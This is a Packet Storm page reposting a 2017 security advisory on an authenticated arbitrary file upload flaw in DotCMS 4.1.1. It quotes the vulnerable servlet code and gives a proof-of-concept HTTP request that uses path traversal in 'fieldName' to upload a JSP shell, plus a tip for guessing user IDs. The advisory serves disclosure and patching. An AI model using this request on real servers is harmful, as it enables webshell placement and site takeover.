Twenty Year Anniversary

DotCMS 4.1.1 Shell Upload

DotCMS 4.1.1 Shell Upload
Posted Jul 17, 2017
Authored by Xiaotian Wang

DotCMS version 4.1.1 suffers from a remote shell upload vulnerability.

tags | exploit, remote, shell
MD5 | 6662f3bad9f3f62ed6c7151df589bba6

DotCMS 4.1.1 Shell Upload

Change Mirror Download
==========================
Advisory: DotCMS /servlets/ajax_file_upload Arbitrary File Upload Vulnerability
Author: M3@pandas From DBAppSecurity Security Lab
Email: xiaotian.wang@dbappsecurity.com.cn
Affected Version: 4.1.1 the latest version
==========================
Vulnerability Description
==========================
Recetly, I found an Arbitrary File Upload Vulnerability in 'DotCMS' program, DotCMS is widely used in many companies.

Vulnerable cgi: /dotcms_4.1.1_999999.jar!/com/dotmarketing/servlets/AjaxFileUploadServlet.class:

private void doFileUpload(HttpSession session, HttpServletRequest request, HttpServletResponse response)
throws IOException
{
String fieldName = null;
AjaxFileUploadListener listener = null;
try
{
String fileName = "";

listener = new AjaxFileUploadListener(request.getContentLength());
FileItemFactory factory = new MonitoredDiskFileItemFactory(listener);
fieldName = request.getParameter("fieldName");
Enumeration params = request.getParameterNames();
session.setAttribute("FILE_UPLOAD_STATS_" + fieldName, listener.getFileUploadStats());
ServletFileUpload upload = new ServletFileUpload(factory);

List items = upload.parseRequest(request);
boolean hasError = false;
this.isEmptyFile = false;

String userId = null;
if (UtilMethods.isSet(session.getAttribute("USER_ID")))
{
userId = (String)session.getAttribute("USER_ID");
User user = UserLocalManagerUtil.getUserById(userId);
if ((!UtilMethods.isSet(user)) || (!UtilMethods.isSet(user.getUserId()))) {
throw new Exception("Could not upload File. Invalid User");
}
}
else
{
throw new Exception("Could not upload File. Invalid User");
}
for (Iterator i = items.iterator(); i.hasNext();)
{
FileItem fileItem = (FileItem)i.next();
if (!fileItem.isFormField())
{
if (fileItem.getSize() == 0L) {
this.isEmptyFile = true;
}
if (fileItem.getName().contains(File.separator)) {
fileName = fileItem.getName().substring(fileItem
.getName().lastIndexOf(File.separator) + 1);
} else {
fileName = fileItem.getName();
}
fileName = ContentletUtil.sanitizeFileName(fileName);

File tempUserFolder = new File(APILocator.getFileAssetAPI().getRealAssetPathTmpBinary() + File.separator + userId + File.separator + fieldName);
if (!isValidPath(tempUserFolder.getCanonicalPath())) {
throw new IOException("Invalid fileName or Path");
}
if (!tempUserFolder.exists()) {
tempUserFolder.mkdirs();
}
File dest = new File(tempUserFolder.getAbsolutePath() + File.separator + fileName);
if (dest.exists()) {
dest.delete();
}
fileItem.write(dest);
fileItem.delete();
}
}
if (this.isEmptyFile) {
fileName = "";
}
if (!hasError) {
sendCompleteResponse(response, null);
} else {
sendCompleteResponse(response, "Could not process uploaded file. Please see log for details.");
}
}
catch (Exception e)
{
listener.error("error");
session.setAttribute("FILE_UPLOAD_STATS_" + fieldName, listener.getFileUploadStats());
sendCompleteResponse(response, e.getMessage());
e.printStackTrace();
}
}


tempUserFolder can be controlled through paramter 'fieldName', the upload data is not filtered and the uploaded path can be user-definedi1/4so attacker with the administrator authority can upload evil jsp webshell file to control the whole web site or even the web server.
==========================
POC && EXP
==========================
1. Login as administrator
2. POST /servlets/ajax_file_upload?fieldName=../ HTTP/1.1
Host: 192.168.1.204:8080
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=--------1234995635
Cookie: your own cookies
Connection: close
Content-Length: 138

----------1234995635
Content-Disposition: form-data; name="xxx"; filename="test.jsp"

<% out.print("test_for_fun!");%>
----------1234995635--

3. shell is : http://192.168.1.204:8080/assets/tmp_upload/test.jsp

Attension: In some other cases: 'filedName=' , then shell will be in 'assets/tmp_upload/dotcms.org.1/' like this:http://192.168.1.204:8080/assets/tmp_upload/dotcms.org.1/test.jsp , 'dotcms.org.1' is your userid, even if you do not know your userid, you can bruteforce the number behind ' dotcms.org.' .

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

April 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    5 Files
  • 2
    Apr 2nd
    17 Files
  • 3
    Apr 3rd
    11 Files
  • 4
    Apr 4th
    21 Files
  • 5
    Apr 5th
    17 Files
  • 6
    Apr 6th
    12 Files
  • 7
    Apr 7th
    1 Files
  • 8
    Apr 8th
    6 Files
  • 9
    Apr 9th
    21 Files
  • 10
    Apr 10th
    18 Files
  • 11
    Apr 11th
    42 Files
  • 12
    Apr 12th
    7 Files
  • 13
    Apr 13th
    14 Files
  • 14
    Apr 14th
    1 Files
  • 15
    Apr 15th
    1 Files
  • 16
    Apr 16th
    15 Files
  • 17
    Apr 17th
    20 Files
  • 18
    Apr 18th
    24 Files
  • 19
    Apr 19th
    20 Files
  • 20
    Apr 20th
    7 Files
  • 21
    Apr 21st
    10 Files
  • 22
    Apr 22nd
    2 Files
  • 23
    Apr 23rd
    17 Files
  • 24
    Apr 24th
    35 Files
  • 25
    Apr 25th
    14 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close